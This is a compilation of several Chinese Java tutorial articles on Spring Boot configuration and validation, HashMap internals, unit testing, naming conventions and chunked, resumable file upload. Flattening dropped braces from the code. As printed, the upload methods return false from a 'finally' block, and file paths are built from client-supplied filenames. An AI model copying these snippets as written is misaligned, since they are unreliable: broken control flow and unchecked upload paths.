如何养成一个新习惯?如何让心智变得更成熟?如何拥有高质量的关系? 如何走出人生的艰难时刻?5.1. @Value(常用)使用 @Value("${property}") 读取比较简单的配置信息@Value("${wuhan2020}") String wuhan2020;5.2. @ConfigurationProperties(常用)通过@ConfigurationProperties读取配置信息并与 bean 绑定。@Component @ConfigurationProperties(prefix = "library") class LibraryProperties { @NotEmpty private String location; private List<Book> books; @Setter @Getter @ToString static class Book { String name; String description; 省略getter/setter ...... }你可以像使用普通的 Spring bean 一样,将其注入到类中使用。5.3. @PropertySource(不常用)@PropertySource读取指定 properties 文件@Component @PropertySource("classpath:website.properties") class WebSite { @Value("${url}") private String url; 省略getter/setter ...... }更多内容请查看的这篇文章:《10 分钟搞定 SpringBoot 如何优雅读取配置文件?》。6. 参数校验数据的校验的重要性就不用说了,即使在前端对数据进行校验的情况下,我们还是要对传入后端的数据再进行一遍校验,避免用户绕过浏览器直接通过一些 HTTP 工具直接向后端请求一些违法数据。JSR(Java Specification Requests) 是一套 JavaBean 参数校验的标准,它定义了很多常用的校验注解,我们可以直接将这些注解加在我们 JavaBean 的属性上面,这样就可以在需要校验的时候进行校验了,非常方便!校验的时候我们实际用的是 Hibernate Validator 框架。Hibernate Validator 是 Hibernate 团队最初的数据校验框架,Hibernate Validator 4.x 是 Bean Validation 1.0(JSR 303)的参考实现,Hibernate Validator 5.x 是 Bean Validation 1.1(JSR 349)的参考实现,目前最新版的 Hibernate Validator 6.x 是 Bean Validation 2.0(JSR 380)的参考实现。SpringBoot 项目的 spring-boot-starter-web 依赖中已经有 hibernate-validator 包,不需要引用相关依赖。如下图所示(通过 idea 插件—Maven Helper 生成)注:更新版本的 spring-boot-starter-web 依赖中不再有 hibernate-validator 包(如2.3.11.RELEASE),需要自己引入 spring-boot-starter-validation 依赖非 SpringBoot 项目需要自行引入相关依赖包,这里不多做讲解,具体可以查看我的这篇文章:《如何在 Spring/Spring Boot 中做参数校验?你需要了解的都在这里!》。👉 需要注意的是: 所有的注解,推荐使用 JSR 注解,即javax.validation.constraints,而不是org.hibernate.validator.constraints6.1. 一些常用的字段验证的注解@NotEmpty 被注释的字符串的不能为 null 也不能为空@NotBlank 被注释的字符串非 null,并且必须包含一个非空白字符@Null 被注释的元素必须为 null@NotNull 被注释的元素必须不为 null@AssertTrue 被注释的元素必须为 true@AssertFalse 被注释的元素必须为 false@Pattern(regex=,flag=)被注释的元素必须符合指定的正则表达式@Email 被注释的元素必须是 Email 格式。@Min(value)被注释的元素必须是一个数字,其值必须大于等于指定的最小值@Max(value)被注释的元素必须是一个数字,其值必须小于等于指定的最大值@DecimalMin(value)被注释的元素必须是一个数字,其值必须大于等于指定的最小值@DecimalMax(value) 被注释的元素必须是一个数字,其值必须小于等于指定的最大值@Size(max=, min=)被注释的元素的大小必须在指定的范围内@Digits(integer, fraction)被注释的元素必须是一个数字,其值必须在可接受的范围内@Past被注释的元素必须是一个过去的日期@Future 被注释的元素必须是一个将来的日期......6.2. 验证请求体(RequestBody)@Data @AllArgsConstructor @NoArgsConstructor public class Person { @NotNull(message = "classId 不能为空") private String classId; @Size(max = 33) @NotNull(message = "name 不能为空") private String name; @Pattern(regexp = "((^Man$|^Woman$|^UGM$))", message = "sex 值不在可选范围") @NotNull(message = "sex 不能为空") private String sex; @Email(message = "email 格式不正确") @NotNull(message = "email 不能为空") private String email; }我们在需要验证的参数上加上了@Valid注解,如果验证失败,它将抛出MethodArgumentNotValidException@RestController @RequestMapping("/api") public class PersonController { @PostMapping("/person") public ResponseEntity<Person> getPerson(@RequestBody @Valid Person person) { return ResponseEntity.ok().body(person); }6.3. 验证请求参数(Path Variables 和 Request Parameters)一定一定不要忘记在类上加上 @Validated 注解了,这个参数可以告诉 Spring 去校验方法参数@RestController @RequestMapping("/api") @Validated public class PersonController { @GetMapping("/person/{id}") public ResponseEntity<Integer> getPersonByID(@Valid @PathVariable("id") @Max(value = 5,message = "超过 id 的范围了") Integer id) { return ResponseEntity.ok().body(id); }更多关于如何在 Spring 项目中进行参数校验的内容,请看《如何在 Spring/Spring Boot 中做参数校验?你需要了解的都在这里!》这篇文章
对于 Java 求职者来说,HashMap 可谓是重中之重,是面试的必考点。然而 HashMap 的知识点非常多,复习起来花费精力很大。01、HashMap的底层数据结构是什么?JDK 7 中,HashMap 由“数组+链表”组成,数组是 HashMap 的主体,链表则是主要为了解决哈希冲突而存在的。在 JDK 8 中,HashMap 由“数组+链表+红黑树”组成。链表过长,会严重影响 HashMap 的性能,而红黑树搜索的时间复杂度是 O(logn),而链表是糟糕的 O(n)。因此,JDK 8 对数据结构做了进一步的优化,引入了红黑树,链表和红黑树在达到一定条件会进行转换:当链表超过 8 且数据总量超过 64 时会转红黑树。将链表转换成红黑树前会判断,如果当前数组的长度小于 64,那么会选择先进行数组扩容,而不是转换为红黑树,以减少搜索时间。链表长度超过 8 体现在 putVal 方法中的这段代码//链表长度大于8转换为红黑树进行处理 if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st treeifyBin(tab, hash);table 长度为 64 体现在 treeifyBin 方法中的这段代码final void treeifyBin(Node<K,V>[] tab, int hash) { int n, index; Node<K,V> e; if (tab == null || (n = tab.length) < MIN_TREEIFY_CAPACITY) resize(); }MIN_TREEIFY_CAPACITY 的值正好为 64。static final int MIN_TREEIFY_CAPACITY = 64;JDK 8 中 HashMap 的结构示意图02、为什么链表改为红黑树的阈值是 8?因为泊松分布,我们来看作者在源码中的注释:Because TreeNodes are about twice the size of regular nodes, we use them only when bins contain enough nodes to warrant use (see TREEIFY_THRESHOLD). And when they become too small (due to removal or resizing) they are converted back to plain bins. In usages with well-distributed user hashCodes, tree bins are rarely used. Ideally, under random hashCodes, the frequency of nodes in bins follows a Poisson distribution (http://en.wikipedia.org/wiki/Poisson_distribution) with a parameter of about 0.5 on average for the default resizing threshold of 0.75, although with a large variance because of resizing granularity. Ignoring variance, the expected occurrences of list size k are (exp(-0.5) pow(0.5, k) / factorial(k)). The first values are: 0: 0.606530661: 0.303265332: 0.075816333: 0.012636064: 0.001579525: 0.000157956: 0.000013167: 0.000000948: 0.00000006more: less than 1 in ten million翻译过来大概的意思是:理想情况下使用随机的哈希码,容器中节点分布在 hash 桶中的频率遵循泊松分布,按照泊松分布的计算公式计算出了桶中元素个数和概率的对照表,可以看到链表中元素个数为 8 时的概率已经非常小,再多的就更少了,所以原作者在选择链表元素个数时选择了 8,是根据概率统计而选择的。03、解决hash冲突的办法有哪些?HashMap用的哪种?解决Hash冲突方法有:开放定址法:也称为再散列法,基本思想就是,如果p=H(key)出现冲突时,则以p为基础,再次hash,p1=H(p),如果p1再次出现冲突,则以p1为基础,以此类推,直到找到一个不冲突的哈希地址pi。因此开放定址法所需要的hash表的长度要大于等于所需要存放的元素,而且因为存在再次hash,所以只能在删除的节点上做标记,而不能真正删除节点。再哈希法:双重散列,多重散列,提供多个不同的hash函数,当R1=H1(key1)发生冲突时,再计算R2=H2(key1),直到没有冲突为止。这样做虽然不易产生堆集,但增加了计算的时间。链地址法:拉链法,将哈希值相同的元素构成一个同义词的单链表,并将单链表的头指针存放在哈希表的第i个单元中,查找、插入和删除主要在同义词链表中进行。链表法适用于经常进行插入和删除的情况。建立公共溢出区:将哈希表分为公共表和溢出表,当溢出发生时,将所有溢出数据统一放到溢出区。HashMap中采用的是链地址法 。04、为什么在解决 hash 冲突的时候,不直接用红黑树?而选择先用链表,再转红黑树?因为红黑树需要进行左旋,右旋,变色这些操作来保持平衡,而单链表不需要。当元素小于 8 个的时候,此时做查询操作,链表结构已经能保证查询性能。当元素大于 8 个的时候, 红黑树搜索时间复杂度是 O(logn),而链表是 O(n),此时需要红黑树来加快查询速度,但是新增节点的效率变慢了。因此,如果一开始就用红黑树结构,元素太少,新增效率又比较慢,无疑这是浪费性能的。05、HashMap默认加载因子是多少?为什么是 0.75,不是 0.6 或者 0.8 ?作为一般规则,默认负载因子(0.75)在时间和空间成本上提供了很好的折衷。详情参照这篇06、HashMap 中 key 的存储索引是怎么计算的?首先根据key的值计算出hashcode的值,然后根据hashcode计算出hash值,最后通过hash&(length-1)计算得到存储的位置。详情参照这篇07、JDK 8 为什么要 hashcode 异或其右移十六位的值?因为在JDK 7 中扰动了 4 次,计算 hash 值的性能会稍差一点点。从速度、功效、质量来考虑,JDK 8 优化了高位运算的算法,通过hashCode()的高16位异或低16位实现:(h = k.hashCode()) ^ (h >>> 16)。这么做可以在数组 table 的 length 比较小的时候,也能保证考虑到高低Bit都参与到Hash的计算中,同时不会有太大的开销。08、为什么 hash 值要与length-1相与?把 hash 值对数组长度取模运算,模运算的消耗很大,没有位运算快。当 length 总是 2 的n次方时,h& (length-1) 运算等价于对length取模,也就是 h%length,但是 & 比 % 具有更高的效率。09、HashMap数组的长度为什么是 2 的幂次方?2 的 N 次幂有助于减少碰撞的几率。如果 length 为2的幂次方,则 length-1 转化为二进制必定是11111……的形式,在与h的二进制与操作效率会非常的快,而且空间不浪费。我们来举个例子,看下图当 length =15时,6 和 7 的结果一样,这样表示他们在 table 存储的位置是相同的,也就是产生了碰撞,6、7就会在一个位置形成链表,4和5的结果也是一样,这样就会导致查询速度降低。如果我们进一步分析,还会发现空间浪费非常大,以 length=15 为例,在 1、3、5、7、9、11、13、15 这八处没有存放数据。因为hash值在与14(即 1110)进行&运算时,得到的结果最后一位永远都是0,即 0001、0011、0101、0111、1001、1011、1101、1111位置处是不可能存储数据的。再补充数组容量计算的小奥秘。HashMap 构造函数允许用户传入的容量不是 2 的 n 次方,因为它可以自动地将传入的容量转换为 2 的 n 次方。会取大于或等于这个数的 且最近的2次幂作为 table 数组的初始容量,使用tableSizeFor(int)方法,如 tableSizeFor(10) = 16(2 的 4 次幂),tableSizeFor(20) = 32(2 的 5 次幂),也就是说 table 数组的长度总是 2 的次幂。JDK 8 源码如下:static final int tableSizeFor(int cap) { int n = cap - 1; n |= n >>> 1; n |= n >>> 2; n |= n >>> 4; n |= n >>> 8; n |= n >>> 16; return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1; }让cap-1再赋值给n的目的是另找到的目标值大于或等于原值。例如二进制1000,十进制数值为8。如果不对它减1而直接操作,将得到答案10000,即16。显然不是结果。减1后二进制为111,再进行操作则会得到原来的数值1000,即8。10、HashMap 的put方法流程?以JDK 8为例,简要流程如下:1、首先根据 key 的值计算 hash 值,找到该元素在数组中存储的下标;2、如果数组是空的,则调用 resize 进行初始化;3、如果没有哈希冲突直接放在对应的数组下标里;4、如果冲突了,且 key 已经存在,就覆盖掉 value;5、如果冲突后,发现该节点是红黑树,就将这个节点挂在树上;6、如果冲突后是链表,判断该链表是否大于 8 ,如果大于 8 并且数组容量小于 64,就进行扩容;如果链表节点大于 8 并且数组的容量大于 64,则将这个结构转换为红黑树;否则,链表插入键值对,若 key 存在,就覆盖掉 value11、HashMap 的扩容方式?HashMap 在容量超过负载因子所定义的容量之后,就会扩容。详情参照这篇12、一般用什么作为HashMap的key?一般用Integer、String 这种不可变类当作 HashMap 的 key,String 最为常见。因为字符串是不可变的,所以在它创建的时候 hashcode 就被缓存了,不需要重新计算。因为获取对象的时候要用到 equals() 和 hashCode() 方法,那么键对象正确的重写这两个方法是非常重要的。Integer、String 这些类已经很规范的重写了 hashCode() 以及 equals() 方法。13、HashMap为什么线程不安全?JDK 7 时多线程下扩容会造成死循环。多线程的put可能导致元素的丢失。put和get并发时,可能导致get为null。
何谓单元测试?维基百科是这样介绍单元测试的:在计算机编程中,单元测试(Unit Testing)是针对程序模块(软件设计的最小单位)进行的正确性检验测试工作。程序单元是应用的 最小可测试部件 。在过程化编程中,一个单元就是单个程序、函数、过程等;对于面向对象编程,最小单元就是方法,包括基类(超类)、抽象类、或者派生类(子类)中的方法。由于每个单元有独立的逻辑,在做单元测试时,为了隔离外部依赖,确保这些依赖不影响验证逻辑,我们经常会用到 Fake、Stub 与 Mock 。关于 Fake、Mock 与 Stub 这几个概念的解读,可以看看这篇文章:测试中 Fakes、Mocks 以及 Stubs 概念明晰 - 王下邀月熊 - 2018为什么需要单元测试?为重构保驾护航我在重构这篇文章中这样写到单元测试可以为重构提供信心,降低重构的成本。我们要像重视生产代码那样,重视单元测试。每个开发者都会经历重构,重构后把代码改坏了的情况并不少见,很可能你只是修改了一个很简单的方法就导致系统出现了一个比较严重的错误。如果有了单元测试的话,就不会存在这个隐患了。写完一个类,把单元测试写了,确保这个类逻辑正确;写第二个类,单元测试.....写 100 个类,道理一样,每个类做到第一点“保证逻辑正确性”,100 个类拼在一起肯定不出问题。你大可以放心一边重构,一边运行 APP;而不是整体重构完,提心跳胆地 run提高代码质量由于每个单元有独立的逻辑,做单元测试时需要隔离外部依赖,确保这些依赖不影响验证逻辑。因为要把各种依赖分离,单元测试会促进工程进行组件拆分,整理工程依赖关系,更大程度减少代码耦合。这样写出来的代码,更好维护,更好扩展,从而提高代码质量减少 bug一个机器,由各种细小的零件组成,如果其中某件零件坏了,机器运行故障。必须保证每个零件都按设计图要求的规格,机器才能正常运行。一个可单元测试的工程,会把业务、功能分割成规模更小、有独立的逻辑部件,称为单元。单元测试的目标,就是保证各个单元的逻辑正确性。单元测试保障工程各个“零件”按“规格”(需求)执行,从而保证整个“机器”(项目)运行正确,最大限度减少 bug。快速定位 bug如果程序有 bug,我们运行一次全部单元测试,找到不通过的测试,可以很快地定位对应的执行代码。修复代码后,运行对应的单元测试;如还不通过,继续修改,运行测试.....直到测试通过。持续集成依赖单元测试持续集成需要依赖单元测试,当持续集成服务自动构建新代码之后,会自动运行单元测试来发现代码错误。谁逼你写单元测试?领导要求有些经验丰富的领导,或多或少都会要求团队写单元测试。对于有一定工作经验的队友,这要求挺合理;对于经验尚浅的、毕业生,恐怕要死要活了,连代码都写不好,还要写单元测试,are you kidding me?培训新人单元测试用法,是一项艰巨的任务。新人代码风格未形成,也不知道单元测试多重要,强制单元测试会让他们感到困惑,没办法按自己思路写代码。大牛都写单元测试国外很多家喻户晓的开源项目,都有大量单元测试。例如,retrofit window、okhttp、butterknife.... 国外大牛都写单元测试,我们也写吧!很多读者都有这种想法,一开始满腔热血。当真要对自己项目单元测试时,便困难重重,很大原因是项目对单元测试不友好。最后只能对一些不痛不痒的工具类做单元测试,久而久之,当初美好愿望也不了了之。保住面子都是有些许年经验的老鸟,还天天被测试同学追 bug,好意思么?花多一点时间写单元测试,确保没低级 bug,还能彰显大牛风范,何乐而不为?心虚笔者也是个不太相信自己代码的人,总觉得哪里会突然冒出莫名其妙的 bug,也怕别人不小心改了自己的代码(被害妄想症),新版本上线提心跳胆......花点时间写单元测试,有事没事跑一下测试,确保原逻辑没问题,至少能睡安稳一点。TDD 测试驱动开发何谓 TDD?TDD 即 Test-Driven Development( 测试驱动开发),这是敏捷开发的一项核心实践和技术,也是一种设计方法论。TDD 原理是开发功能代码之前,先编写测试用例代码,然后针对测试用例编写功能代码,使其能够通过。TDD 的节奏:“红 - 绿 - 重构”由于 TDD 对开发人员要求非常高,跟传统开发思维不一样,因此实施起来相当困难。TDD 在很多人眼中是不实用的,一来他们并不理解测试“驱动”开发的含义,但更重要的是,他们很少会做任务分解。而任务分解是做好 TDD 的关键点。只有把任务分解到可以测试的地步,才能够有针对性地写测试TDD 优缺点分析测试驱动开发有好处也有坏处。因为每个测试用例都是根据需求来的,或者说把一个大需求分解成若干小需求编写测试用例,所以测试用例写出来后,开发者写的执行代码,必须满足测试用例。如果测试不通过,则修改执行代码,直到测试用例通过。优点 帮你整理需求,梳理思路;帮你设计出更合理的接口(空想的话很容易设计出屎);减小代码出现 bug 的概率;提高开发效率(前提是正确且熟练使用 TDD)。缺点 :能用好 TDD 的人非常少,看似简单,实则门槛很高;投入开发资源(时间和精力)通常会更多;由于测试用例在未进行代码设计前写;很有可能限制开发者对代码整体设计;可能引起开发人员不满情绪,我觉得这点很严重,毕竟不是人人都喜欢单元测试,尽管单元测试会带给我们相当多的好处。相关阅读:如何用正确的姿势打开 TDD? - 陈天 - 2017总结单元测试确实会带给你相当多的好处,但不是立刻体验出来。正如买重疾保险,交了很多保费,没病没痛,十几年甚至几十年都用不上,最好就是一辈子用不上理赔,身体健康最重要。单元测试也一样,写了可以买个放心,对代码的一种保障,有 bug 尽快测出来,没 bug 就最好,总不能说“写那么多单元测试,结果测不出 bug,浪费时间”吧?以下是个人对单元测试一些建议:越重要的代码,越要写单元测试;代码做不到单元测试,多思考如何改进,而不是放弃;边写业务代码,边写单元测试,而不是完成整个新功能后再写;多思考如何改进、简化测试代码。测试代码需要随着生产代码的演进而重构或者修改,如果测试不能保持整洁,只会越来越难修改。作为一名经验丰富的程序员,写单元测试更多的是对自己的代码负责。有测试用例的代码,别人更容易看懂,以后别人接手你的代码时,也可能放心做改动。多敲代码实践,多跟有单元测试经验的工程师交流,你会发现写单元测试获得的收益会更多。
我还记得我刚工作那一段时间, 项目 Code Review 的时候,我经常因为变量命名不规范而被 “diss”!究其原因还是自己那会经验不足,而且,大学那会写项目的时候不太注意这些问题,想着只要把功能实现出来就行了。但是,工作中就不一样,为了代码的可读性、可维护性,项目组对于代码质量的要求还是很高的!前段时间,项目组新来的一个实习生也经常在 Code Review 因为变量命名不规范而被 “diss”,这让我想到自己刚到公司写代码那会的日子。于是,我就简单写了这篇关于变量命名规范的文章,希望能对同样有此困扰的小伙伴提供一些帮助。确实,编程过程中,有太多太多让我们头疼的事情了,比如命名、维护其他人的代码、写测试、与其他人沟通交流等等。据说之前在 Quora 网站,由接近 5000 名程序员票选出来的最难的事情就是“命名”。大名鼎鼎的《重构》的作者老马(Martin Fowler)曾经在TwoHardThings这篇文章中提到过CS 领域有两大最难的事情:一是 缓存失效 ,一是 程序命名 这个句话实际上也是老马引用别人的,类似的表达还有很多。比如分布式系统领域有两大最难的事情:一是 保证消息顺序 ,一是 严格一次传递 ;今天咱们就单独拎出 “命名” 来聊聊!为什么需要重视命名?咱们需要先搞懂为什么要重视编程中的命名这一行为,它对于我们的编码工作有着什么意义。为什么命名很重要呢? 这是因为 好的命名即是注释,别人一看到你的命名就知道你的变量、方法或者类是做什么的!简单来说就是 别人根据你的命名就能知道你的代码要表达的意思 (不过,前提这个人也要有基本的英语知识,对于一些编程中常见的单词比较熟悉)简单举个例子说明一下命名的重要性《Clean Code》这本书明确指出好的代码本身就是注释,我们要尽量规范和美化自己的代码来减少不必要的注释。若编程语言足够有表达力,就不需要注释,尽量通过代码来阐述。举个例子去掉下面复杂的注释,只需要创建一个与注释所言同一事物的函数即可// check to see if the employee is eligible for full benefits if ((employee.flags & HOURLY_FLAG) && (employee.age > 65))应替换为if (employee.isEligibleForFullBenefits())常见命名规则以及适用场景这里只介绍 3 种最常见的命名规范驼峰命名法(CamelCase)驼峰命名法应该我们最常见的一个,这种命名方式使用大小写混合的格式来区别各个单词,并且单词之间不使用空格隔开或者连接字符连接的命名方式大驼峰命名法(UpperCamelCase)类名需要使用大驼峰命名法(UpperCamelCase)正例ServiceDiscovery、ServiceInstance、LruCacheFactory反例serviceDiscovery、Serviceinstance、LRUCacheFactory小驼峰命名法(lowerCamelCase)方法名、参数名、成员变量、局部变量需要使用小驼峰命名法(lowerCamelCase)。正例getUserInfo() createCustomThreadPool() setNameFormat(String nameFormat) Uservice userService;反例GetUserInfo()、CreateCustomThreadPool()、setNameFormat(String NameFormat) Uservice user_service蛇形命名法(snake_case)测试方法名、常量、枚举名称需要使用蛇形命名法(snake_case)在蛇形命名法中,各个单词之间通过下划线“_”连接,比如should_get_200_status_code_when_request_is_valid、CLIENT_CONNECT_SERVER_FAILURE蛇形命名法的优势是命名所需要的单词比较多的时候,比如我把上面的命名通过小驼峰命名法给大家看一下:“shouldGet200StatusCodeWhenRequestIsValid”感觉如何? 相比于使用蛇形命名法(snake_case)来说是不是不那么易读?正例@Test void should_get_200_status_code_when_request_is_valid() { ...... }反例@Test void shouldGet200StatusCodeWhenRequestIsValid() { ...... }串式命名法(kebab-case)在串式命名法中,各个单词之间通过连接符“-”连接,比如dubbo-registry。建议项目文件夹名称使用串式命名法(kebab-case),比如 dubbo 项目的各个模块的命名是下面这样的常见命名规范Java 语言基本命名规范1、类名需要使用大驼峰命名法(UpperCamelCase)风格。方法名、参数名、成员变量、局部变量需要使用小驼峰命名法(lowerCamelCase)。2、测试方法名、常量、枚举名称需要使用蛇形命名法(snake_case),比如should_get_200_status_code_when_request_is_valid、CLIENT_CONNECT_SERVER_FAILURE。并且,测试方法名称要求全部小写,常量以及枚举名称需要全部大写。3、项目文件夹名称使用串式命名法(kebab-case),比如dubbo-registry。4、包名统一使用小写,尽量使用单个名词作为包名,各个单词通过 "." 分隔符连接,并且各个单词必须为单数。正例: org.apache.dubbo.common.threadlocal反例: org.apache_dubbo.Common.threadLocals5、抽象类命名使用 Abstract 开头//为远程传输部分抽象出来的一个抽象类(出处:Dubbo源码) public abstract class AbstractClient extends AbstractEndpoint implements Client { }6、异常类命名使用 Exception 结尾//自定义的 NoSuchMethodException(出处:Dubbo源码) public class NoSuchMethodException extends RuntimeException { private static final long serialVersionUID = -2725364246023268766L; public NoSuchMethodException() { super(); public NoSuchMethodException(String msg) { super(msg); }7、测试类命名以它要测试的类的名称开始,以 Test 结尾//为 AnnotationUtils 类写的测试类(出处:Dubbo源码) public class AnnotationUtilsTest { ...... }POJO 类中布尔类型的变量,都不要加 is 前缀,否则部分框架解析会引起序列化错误。如果模块、接口、类、方法使用了设计模式,在命名时需体现出具体模式;命名易读性规范1、为了能让命名更加易懂和易读,尽量不要缩写/简写单词,除非这些单词已经被公认可以被这样缩写/简写。比如 CustomThreadFactory 不可以被写成 ~~CustomTF 。2、命名不像函数一样要尽量追求短,可读性强的名字优先于简短的名字,虽然可读性强的名字会比较长一点。 这个对应我们上面说的第 1 点3、避免无意义的命名,你起的每一个名字都要能表明意思正例:UserService userService; int userCount;反例: UserService service int count4、避免命名过长(50 个字符以内最好),过长的命名难以阅读并且丑陋。5、不要使用拼音,更不要使用中文。 不过像 alibaba 、wuhan、taobao 这种国际通用名词可以当做英文来看待。正例:discount反例:dazheCodelf:变量命名神器?这是一个由国人开发的网站,网上有很多人称其为变量命名神器, 我在实际使用了几天之后感觉没那么好用。小伙伴们可以自行体验一下,然后再给出自己的判断。Codelf 提供了在线网站版本,网址:https://unbug.github.io/codelf/,具体使用情况如下:我选择了 Java 编程语言,然后搜索了“序列化”这个关键词,然后它就返回了很多关于序列化的命名并且,Codelf 还提供了 VS code 插件,看这个评价,看来大家还是很喜欢这款命名工具的;
文件上传是一个老生常谈的话题了,在文件相对比较小的情况下,可以直接把文件转化为字节流上传到服务器,但在文件比较大的情况下,用这种方式进行上传,可不是一个好的办法,毕竟很少有用户能忍受,尤其是当文件上传到一半中断后,继续上传却只能重头开始上传,让用户的体验尤其不爽。那有没有比较好的上传体验呢,答案有的,就是下边要介绍的几种上传方式;秒传1、什么是秒传通俗的说,你把要上传的东西上传,服务器会先做 MD5 校验,如果服务器上有同样的东西,它就直接给你个新地址,其实你下载的都是服务器上的同一个文件,想要不秒传,其实只要让 MD5 改变,就是对文件本身做一下修改(改名字不行),例如一个文本文件,你多加几个字,MD5 就变了,就不会秒传了.2、本文实现的秒传核心逻辑a、利用 redis 的 set 方法存放文件上传状态,其中 key 为文件上传的 md5,value 为是否上传完成的标志位;b、当标志位为 true 表示上传已经完成,此时如果有相同文件上传,则进入秒传逻辑。如果标志位为 false,则说明还没上传完成,此时需要再调用 set 方法,保存块号文件记录的路径,其中 key 为上传文件的 md5 + 一个固定前缀,value 为块号文件的记录路径分片上传1、什么是分片上传分片上传,就是将所要上传的文件,按照一定的大小,将整个文件分隔成多个数据块(我们称之为 Part)来进行上传,上传完之后再由服务端对所有上传的文件进行汇总整合成原始的文件。2、分片上传的场景1.大文件上传2.网络环境环境不好,存在需要重传风险的场景断点续传1、什么是断点续传断点续传是在下载或上传时,将下载或上传任务(一个文件或一个压缩包)人为的划分为几个部分,每一个部分采用一个线程进行上传或下载,如果碰到网络故障,可以从已经上传或下载的部分开始继续上传或者下载未完成的部分,而没有必要从头开始上传或者下载。PS:本文的断点续传主要是针对断点上传场景。2、应用场景断点续传可以看成是分片上传的一个衍生,因此可以使用分片上传的场景,都可以使用断点续传。3、实现断点续传的核心逻辑在分片上传的过程中,如果因为系统崩溃或者网络中断等异常因素导致上传中断,这时候客户端需要记录上传的进度。在之后支持再次上传时,可以继续从上次上传中断的地方进行继续上传。为了避免客户端在上传之后的进度数据被删除而导致重新开始从头上传的问题,服务端也可以提供相应的接口便于客户端对已经上传的分片数据进行查询,从而使客户端知道已经上传的分片数据,从而从下一个分片数据开始继续上传。4、实现流程步骤a、方案一,常规步骤将需要上传的文件按照一定的分割规则,分割成相同大小的数据块;初始化一个分片上传任务,返回本次分片上传唯一标识;按照一定的策略(串行或并行)发送各个分片数据块;发送完成后,服务端根据判断数据上传是否完整,如果完整,则进行数据块合成得到原始文件。b、方案二、本文实现的步骤前端(客户端)需要根据固定大小对文件进行分片,请求后端(服务端)时要带上分片序号和大小服务端创建 conf 文件用来记录分块位置,conf 文件长度为总分片数,每上传一个分块即向 conf 文件中写入一个 127,那么没上传的位置就是默认的 0,已上传的就是 Byte.MAX_VALUE 127(这步是实现断点续传和秒传的核心步骤)服务器按照请求数据中给的分片序号和每片分块大小(分片大小是固定且一样的)算出开始位置,与读取到的文件片段数据,写入文件。5、分片上传/断点上传代码实现a、前端采用百度提供的 webuploader 插件,进行分片。因本文主要介绍服务端代码实现,webuploader 如何进行分片,具体实现可以查看如下链接:http://fex.baidu.com/webuploader/getting-started.htmlopen in new windowb、后端用两种方式实现文件写入,一种是用 RandomAccessFile,如果对 RandomAccessFile 不熟悉的朋友,可以查看如下链接:https://blog.csdn.net/dimudan2015/article/details/81910690open in new window另一种是使用 MappedByteBuffer,对 MappedByteBuffer 不熟悉的朋友,可以查看如下链接进行了解:https://www.jianshu.com/p/f90866dcbffcopen in new window后端进行写入操作的核心代码1、RandomAccessFile 实现方式@UploadMode(mode = UploadModeEnum.RANDOM_ACCESS) @Slf4j public class RandomAccessUploadStrategy extends SliceUploadTemplate { @Autowired private FilePathUtil filePathUtil; @Value("${upload.chunkSize}") private long defaultChunkSize; @Override public boolean upload(FileUploadRequestDTO param) { RandomAccessFile accessTmpFile = null; try { String uploadDirPath = filePathUtil.getPath(param); File tmpFile = super.createTmpFile(param); accessTmpFile = new RandomAccessFile(tmpFile, "rw"); //这个必须与前端设定的值一致 long chunkSize = Objects.isNull(param.getChunkSize()) ? defaultChunkSize * 1024 * 1024 : param.getChunkSize(); long offset = chunkSize * param.getChunk(); //定位到该分片的偏移量 accessTmpFile.seek(offset); //写入该分片数据 accessTmpFile.write(param.getFile().getBytes()); boolean isOk = super.checkAndSetUploadProgress(param, uploadDirPath); return isOk; } catch (IOException e) { log.error(e.getMessage(), e); } finally { FileUtil.close(accessTmpFile); return false; } 2、MappedByteBuffer 实现方式@UploadMode(mode = UploadModeEnum.MAPPED_BYTEBUFFER) @Slf4j public class MappedByteBufferUploadStrategy extends SliceUploadTemplate { @Autowired private FilePathUtil filePathUtil; @Value("${upload.chunkSize}") private long defaultChunkSize; @Override public boolean upload(FileUploadRequestDTO param) { RandomAccessFile tempRaf = null; FileChannel fileChannel = null; MappedByteBuffer mappedByteBuffer = null; try { String uploadDirPath = filePathUtil.getPath(param); File tmpFile = super.createTmpFile(param); tempRaf = new RandomAccessFile(tmpFile, "rw"); fileChannel = tempRaf.getChannel(); long chunkSize = Objects.isNull(param.getChunkSize()) ? defaultChunkSize * 1024 * 1024 : param.getChunkSize(); //写入该分片数据 long offset = chunkSize * param.getChunk(); byte[] fileData = param.getFile().getBytes(); mappedByteBuffer = fileChannel .map(FileChannel.MapMode.READ_WRITE, offset, fileData.length); mappedByteBuffer.put(fileData); boolean isOk = super.checkAndSetUploadProgress(param, uploadDirPath); return isOk; } catch (IOException e) { log.error(e.getMessage(), e); } finally { FileUtil.freedMappedByteBuffer(mappedByteBuffer); FileUtil.close(fileChannel); FileUtil.close(tempRaf); return false; }#3、文件操作核心模板类代码@Slf4j public abstract class SliceUploadTemplate implements SliceUploadStrategy { public abstract boolean upload(FileUploadRequestDTO param); protected File createTmpFile(FileUploadRequestDTO param) { FilePathUtil filePathUtil = SpringContextHolder.getBean(FilePathUtil.class); param.setPath(FileUtil.withoutHeadAndTailDiagonal(param.getPath())); String fileName = param.getFile().getOriginalFilename(); String uploadDirPath = filePathUtil.getPath(param); String tempFileName = fileName + "_tmp"; File tmpDir = new File(uploadDirPath); File tmpFile = new File(uploadDirPath, tempFileName); if (!tmpDir.exists()) { tmpDir.mkdirs(); return tmpFile; @Override public FileUploadDTO sliceUpload(FileUploadRequestDTO param) { boolean isOk = this.upload(param); if (isOk) { File tmpFile = this.createTmpFile(param); FileUploadDTO fileUploadDTO = this.saveAndFileUploadDTO(param.getFile().getOriginalFilename(), tmpFile); return fileUploadDTO; String md5 = FileMD5Util.getFileMD5(param.getFile()); Map<Integer, String> map = new HashMap<>(); map.put(param.getChunk(), md5); return FileUploadDTO.builder().chunkMd5Info(map).build(); * 检查并修改文件上传进度 public boolean checkAndSetUploadProgress(FileUploadRequestDTO param, String uploadDirPath) { String fileName = param.getFile().getOriginalFilename(); File confFile = new File(uploadDirPath, fileName + ".conf"); byte isComplete = 0; RandomAccessFile accessConfFile = null; try { accessConfFile = new RandomAccessFile(confFile, "rw"); //把该分段标记为 true 表示完成 System.out.println("set part " + param.getChunk() + " complete"); //创建conf文件文件长度为总分片数,每上传一个分块即向conf文件中写入一个127,那么没上传的位置就是默认0,已上传的就是Byte.MAX_VALUE 127 accessConfFile.setLength(param.getChunks()); accessConfFile.seek(param.getChunk()); accessConfFile.write(Byte.MAX_VALUE); //completeList 